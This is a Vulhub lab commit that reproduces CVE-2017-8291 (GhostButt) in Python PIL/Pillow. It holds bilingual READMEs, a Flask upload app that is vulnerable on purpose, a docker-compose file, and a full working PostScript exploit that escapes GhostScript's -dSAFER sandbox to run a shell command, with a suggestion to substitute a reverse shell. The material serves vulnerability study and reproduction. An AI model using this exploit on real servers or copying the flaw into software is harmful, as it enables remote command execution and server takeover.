first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.1 KiB

View File

@@ -0,0 +1,61 @@
# Python PIL/Pillow Remote Command Execution (GhostButt / CVE-2017-8291)
[中文版本(Chinese version)](README.zh-cn.md)
Python PIL (Pillow) is a popular image processing library for Python. It supports various image formats and provides powerful image manipulation capabilities.
The Python image processing module PIL (Pillow) is affected by the GhostButt vulnerability (CVE-2017-8291) because it internally calls GhostScript to process EPS images. This vulnerability allows attackers to execute arbitrary commands on the target system.
When PIL processes an image, it determines the image type based on the file header (Magic Bytes). If it identifies an EPS file (header starting with `%!PS`), it passes the file to `PIL/EpsImagePlugin.py` for processing.
In this module, PIL calls the system's GhostScript command (`gs`) to process the image file:
```python
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages,
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
]
# Code to check if GhostScript is installed is omitted
try:
with open(os.devnull, 'w+b') as devnull:
subprocess.check_call(command, stdin=devnull, stdout=devnull)
im = Image.open(outfile)
```
Although the `-dSAFER` flag is set (safe mode), a sandbox bypass vulnerability in GhostScript (GhostButt CVE-2017-8291) allows this safety mechanism to be bypassed, enabling arbitrary command execution.
As of this writing, even the latest official GhostScript version 9.21 is still affected by this vulnerability. Therefore, as long as GhostScript is installed on the operating system, PIL is vulnerable to command execution.
References:
- [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/)
- [CVE-2017-8291 Details](https://nvd.nist.gov/vuln/detail/CVE-2017-8291)
- [GhostScript Security Advisory](https://www.ghostscript.com/security-advisories.html)
## Environment Setup
Execute following command to start a web application that is vulnerable to the CVE-2017-8291 vulnerability:
```
docker compose up -d
```
After starting, visit `http://your-ip:8000/` to access the upload page.
## Vulnerability Exploitation
The normal functionality of this application allows users to upload a PNG file. The backend uses PIL to load the image and output its dimensions. However, we can exploit this by changing the extension of an executable EPS file to PNG and uploading it. Since the backend determines the image type based on the file header rather than the extension, the file extension check can be bypassed.
For example, we can upload [poc.png](poc.png), which will execute the command `touch /tmp/aaaaa` on the server. By modifying the command in the POC to a reverse shell command, we can obtain shell access to the server:
![Vulnerability Exploitation](01.png)

View File

@@ -0,0 +1,59 @@
# Python PIL 远程命令执行漏洞GhostButt / CVE-2017-8291
Python PILPillow是一个流行的 Python 图像处理库,支持多种图像格式并提供强大的图像处理功能。
Python 中处理图片的模块 PILPillow因为其内部调用了 GhostScript 而受到 GhostButt 漏洞CVE-2017-8291的影响造成远程命令执行漏洞。
PIL 内部根据图片头Magic Bytes判断图片类型如果发现是一个 EPS 文件(头为 `%!PS`),则分发给 `PIL/EpsImagePlugin.py` 处理。
在这个模块中PIL 调用了系统的 gs 命令,也就是 GhostScript 来处理图片文件:
```python
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages,
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
]
# 省略判断是否安装 GhostScript 的代码
try:
with open(os.devnull, 'w+b') as devnull:
subprocess.check_call(command, stdin=devnull, stdout=devnull)
im = Image.open(outfile)
```
虽然设置了 `-dSAFER`,也就是安全模式,但因为 GhostScript 的一个沙盒绕过漏洞GhostButt CVE-2017-8291导致这个安全模式被绕过可以执行任意命令。
另外截至目前GhostScript 官方最新版 9.21 仍然受到这个漏洞影响,所以可以说:只要操作系统上安装了 GhostScriptPIL 就存在命令执行漏洞。
参考链接:
- [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/)
- [CVE-2017-8291 详情](https://nvd.nist.gov/vuln/detail/CVE-2017-8291)
- [GhostScript 安全公告](https://www.ghostscript.com/security-advisories.html)
## 环境搭建
执行如下命令启动一个存在漏洞的Web应用其中使用了PIL处理用户上传的文件
```
docker compose up -d
```
环境启动后,访问 `http://your-ip:8000/` 即可看到一个上传页面。
## 漏洞复现
该应用的正常功能是允许用户上传一个 PNG 文件,后端调用 PIL 加载图片,输出图片的长宽。但我们可以将可执行命令的 EPS 文件后缀改成 PNG 进行上传,因为后端是根据文件头来判断图片类型,所以能够绕过后缀检查。
例如,我们可以上传 [poc.png](poc.png),该文件会在服务器上执行 `touch /tmp/aaaaa` 命令。通过将 POC 中的命令修改为反弹 shell 命令,我们可以获得服务器的 shell 访问权限:
![漏洞利用演示](01.png)

View File

@@ -0,0 +1,72 @@
'''get image size app'''
# coding=utf-8
import os
from flask import Flask, request, redirect, flash, render_template_string, get_flashed_messages
from PIL import Image
from werkzeug.utils import secure_filename
UPLOAD_FOLDER = '/tmp'
ALLOWED_EXTENSIONS = set(['png'])
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.secret_key = 'test'
def get_img_size(filepath=""):
'''获取图片长宽'''
try:
img = Image.open(filepath)
img.load()
return img.size
except:
return (0, 0)
def allowed_file(filename):
'''判断文件后缀是否合法'''
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
'''文件上传app'''
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
image_file = request.files['file']
if image_file.filename == '':
flash('No selected file')
return redirect(request.url)
if not allowed_file(image_file.filename):
flash('File type don\'t allowed')
return redirect(request.url)
if image_file:
filename = secure_filename(image_file.filename)
img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
image_file.save(img_path)
height, width = get_img_size(img_path)
return '<html><body>the image\'s height : {}, width : {}; </body></html>'\
.format(height, width)
return render_template_string('''
<!doctype html>
<title>Upload new File</title>
<h1>Upload new File</h1>
{% with messages = get_flashed_messages() %}
{% if messages %}
<ul class=flashes>
{% for message in messages %}
<li>{{ message }}</li>
{% endfor %}
</ul>
{% endif %}
{% endwith %}
<form method=post enctype=multipart/form-data>
<p><input type=file name=file>
<input type=submit value=Upload>
</form>
''')
if __name__ == '__main__':
app.run(threaded=True, port=8000, host="0.0.0.0")

View File

@@ -0,0 +1,9 @@
version: '2'
services:
web:
image: vulhub/ghostscript:9.21-with-flask
command: python app.py
volumes:
- ./app.py:/usr/src/app.py
ports:
- "8000:8000"

View File

@@ -0,0 +1,100 @@
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
/size_from 10000 def
/size_step 500 def
/size_to 65000 def
/enlarge 1000 def
%/bigarr 65000 array def
0
size_from size_step size_to {
pop
1 add
} for
/buffercount exch def
/buffersizes buffercount array def
0
size_from size_step size_to {
buffersizes exch 2 index exch put
1 add
} for
pop
/buffers buffercount array def
0 1 buffercount 1 sub {
/ind exch def
buffersizes ind get /cursize exch def
cursize string /curbuf exch def
buffers ind curbuf put
cursize 16 sub 1 cursize 1 sub {
curbuf exch 255 put
} for
} for
/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def
enlarge array aload
{
.eqproc
buffersearchvars 0 buffersearchvars 0 get 1 add put
buffersearchvars 1 0 put
buffersearchvars 2 0 put
buffercount {
buffers buffersearchvars 1 get get
buffersizes buffersearchvars 1 get get
16 sub get
254 le {
buffersearchvars 2 1 put
buffersearchvars 3 buffers buffersearchvars 1 get get put
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
} if
buffersearchvars 1 buffersearchvars 1 get 1 add put
} repeat
buffersearchvars 2 get 1 ge {
exit
} if
%(.) print
} loop
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put
buffersearchvars 0 get array aload
sdevice 0 get
16#3e8 0 put
sdevice 0 get
16#3b0 0 put
sdevice 0 get
16#3f0 0 put
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf